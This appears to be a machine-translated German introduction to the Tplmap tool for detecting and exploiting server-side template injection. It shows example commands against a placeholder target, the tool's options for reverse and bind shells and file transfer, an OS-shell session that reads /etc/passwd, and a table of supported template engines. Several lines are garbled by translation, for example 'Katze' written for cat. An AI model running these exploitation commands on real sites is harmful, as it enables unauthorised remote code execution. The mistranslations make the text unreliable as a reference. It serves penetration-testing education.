Wenn Sie einen Website-Penetrationstest durchführen, der dynamische Inhalte mit Vorlagen mit benutzerdefinierten Werten generiert, können Sie auf eine Server-Side Template Injection stoßen. Die manuelle Identifizierung des Vorlagenmotors und die anschließende Exploitation können mit dem Tplmap-Tool einfach automatisiert werden.
Tplmap ist in der Lage, SSTI in mehr als einem Dutzend Arten von Vorlagenmotoren zu erkennen und zu nutzen. Es verfügt über Funktionen wie das Durchsuchen des Dateisystems und die Remoteausführung von Befehlen auf dem angegriffenen Server.
$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testen, ob GET-Parameter 'Name' injectable ist
[+] Smarty-Plugin testet Rendering mit dem Tag '*}'
[+] Smarty Plugin testet blinde Injektion
[+] Mako-Plugin testet Rendering mit dem Tag '*}'
...
[+] Jinja2-Plugin testet Rendering mit dem Tag '{*}}'
[+] Jinja2-Plugin hat Injektion mit dem Tag '{*}} bestätigt
[+] Tplmap identifizierte den folgenden Injektionspunkt:
GET Parameter: name
Engine: Jinja2
Injektion: {*}}
Kontext: text
OS: linux
Technique: Rendering
Capabilities:
Shell-Befehlsermächtung: ca.
Bind und umgekehrte Schale: ok
Datei geschrieben: ok
Datei lesen: ca.
Code-Bewertung: ca., Python-Code
[+] Rerun tplmap bietet eine der folgenden Optionen:
--os-shell Run Shell auf das Ziel
--os-cmd Ausführen von Shell-Befehlen
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Senden Sie eine Schale zurück zum Angreifer es Port
--upload LOCAL REMOTE Laden Sie Dateien auf den Server
--download REMOTE LOCAL Download Remote Files
Verwenden Sie die Option --os-shell
, um ein Pseudoterminal für das Ziel auszuführen.
$/tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+] Tplmap 0,5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Führen Sie Befehle auf das Betriebssystem.
linux $ whoami
www
linux $ Katze /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
Tplmap unterstützt mehr als 15 Vorlagenmotoren:
Motor | Fernausführung von Befehlen | Blind | Code-Evaluierung | Lesen der Datei | Transkript für Datei |
---|---|---|---|---|---|
Mako | ✓ | ✓ | Python | ✓ | ✓ |
Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
Python (Code Eval) | ✓ | ✓ | Python | ✓ | ✓ |
Tornado | ✓ | ✓ | Python | ✓ | ✓ |
Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
JavaScript (Code Eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
Staub (<= [email protected]) | ✓ | ✓ | JavaScript | ✓ | ✓ |
EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
Ruby (Code Eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
Smarty | ✓ | ✓ | PHP | ✓ | ✓ |
PHP (Code Eval) | ✓ | ✓ | PHP | ✓ | ✓ |
Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
Freemarker | ✓ | ✓ | × | ✓ | ✓ |
Velocity | ✓ | ✓ | × | ✓ | ✓ |
Twig (>1,19 € | × | × | × | × | × |
Smarty | × | × | × | × | × |
Staub (> [email protected]) | × | × | × | × | × |
Tplmap finden Sie auf githubie Schöpfer – tplmap.